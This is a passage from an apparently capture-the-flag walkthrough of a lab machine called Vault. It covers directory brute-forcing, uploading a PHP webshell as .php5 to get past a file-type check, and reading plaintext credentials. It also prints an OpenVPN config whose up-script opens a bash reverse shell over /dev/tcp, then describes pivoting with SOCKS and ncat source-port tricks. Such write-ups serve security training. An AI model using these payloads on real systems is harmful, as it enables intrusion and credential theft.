The hint here is to check the /sparklays directory, which returns a 403 error.
Since we know this directory exists, what we can do is to use gobuster on the /sparklays directory to find others. Doing this reveals the /design directory.
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.129.99.48/sparklays -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.99.48/sparklays
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/01/21 22:06:14 Starting gobuster in directory enumeration mode
===============================================================
/design (Status: 301) [Size: 323] [-> http://10.129.99.48/sparklays/design/]
I also ran a feroxbuster scan to leverage on its recursive scans, and found some more directories.
These directories returned nothing, so I did another gobuster scan with the -x flag to indicate file extensions like .html or .php.
This brings us to changelogo.php, which allows us to upload a file. Only image file are allowed. Obviously, we have to upload a PHP webshell somehow and bypass the file type check. I tried with multiple PHP extensions, and found that .php5 works.
www-data@ubuntu:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Jun 2 2021 .
drwxr-xr-x 24 root root 4096 Dec 2 2021 ..
drwxr-xr-x 19 alex alex 4096 Jun 2 2021 alex
drwxr-xr-x 18 dave dave 4096 Jun 2 2021 dave
Within the /home/dave/Desktop directory ,we can find a ssh file that has credentials for dave within it.
www-data@ubuntu:/home/dave/Desktop$ cat ssh
dave
Dav3therav3123
Port Forwarding
There were other files within that directory that had other information. One hinted towards another machine being present on the machine. There was also another key to be used somewhere.
www-data@ubuntu:/home/dave/Desktop$ cat Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
www-data@ubuntu:/home/dave/Desktop$ cat key
itscominghome
Understanding that we have SSH credentials, we can do some port forwarding with this.
ssh-f-N-D1080dave@sparklays.com
Then, we can begin to scan both of these machines with nmap. Scanning the first 1000 ports, I found that there was indeed a service running on it.
We can take a look at this using a browser with proxychains configured.
DNS Server
The page reveals a DNS server:
The first link doesn't work, but the second brings us to this page where .ovpn files can be uploaded and tested.
Googling around for possible exploits reveals that it is possible for us to gain a reverse shell using .ovpn files. First we need to find the local IP Address of the machine, which is 192.168.122.1 when inspecting ip addr output.
Then, we can input the following file and run Test VPN.
remote 192.168.122.1
dev tun
nobind
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/4444 0>&1'"
Take note that we have to use the IP address of the machine and not our own. With the SSH access we have, we can open a listener port and catch a root shell:
Here, we can grab the user flag from /home/dave. Then we can find more credentials for dave on this machine:
root@DNS:/home/dave# cat ssh
cat ssh
dave
dav3gerous567
We can then SSH in as dave on the DNS server. This helps to upgrade our shell.
We are allowed to run sudo on everything as dave within the DNS server, so regaining root permissions is easy.
Vault
There was nothing else to be done with the DNS server or other IP addresses. Then, I remembered that there was a Vault entry that did not have an IP address. I wanted to find this IP address, so I read the /etc/hosts file.
root@DNS:/etc/network# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 DNS
192.168.5.2 Vault
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
However, I could not even ping this machine from any host. I decided to read the /var/log files to see if I could find anything of use. That's when I noticed these few lines within the auth.log file that raised eyebrows:
Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
Sep 2 15:10:20 DNS sudo: pam_unix(sudo:session): session opened for user root by dave(uid=0)
Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
Jul 24 15:06:10 DNS sshd[1466]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
There were some ncat and nmap commands ran on the machine, and it seems that dave was able to access port 4444 on the Vault IP using SSH.
I repeated the nmap command on the DNS server, and found some interesting results:
root@DNS:/var/log# /usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
Starting Nmap 7.01 ( https://nmap.org ) at 2023-01-22 04:03 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0023s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
987/tcp open unknown
Overall it seems that we can only access this port if our source port is configured as 4444. I proceeded to scan 192.168.5.2, and found some more ports that were open.
root@DNS:/var/log# nmap -Pn 192.168.5.2
Starting Nmap 7.01 ( https://nmap.org ) at 2023-01-22 04:06 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0023s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
53/tcp closed domain
4444/tcp closed krb524
Interesting that port 4444 was open. So we can only detect port 987 should our source port be 4444.
The solution in this case is to open a random port via ncat that would listen to the connection between port 4444 and 987.
The logs revealed that this could potentially be an SSH service for dave, so I tried just that and it worked! The same credentials for dave on the DNS server were used.
Earlier, we found a key with itscominghome in it. We just need to import it and decrypt this root flag. The easiest way to do so is to first transfer the file to another machine. There was no base64, but there was base32.
I transferred this to the ubuntu machine because it (probably) had the keys imported and ready to go.
Then, we can use gpg -d to decrypt it.
Rooted!
Beyond Root
I wanted to see if it was possible to get a root shell on the Vault. I transferred LinPEAS to the Vault machine. There was a restricted bash shell that could be escaped using sh.
One possible attack vector:
However, I could not find any other weaknesses within it. I also couldn't run pspy64 to view any exploitable crons running. Oh well.
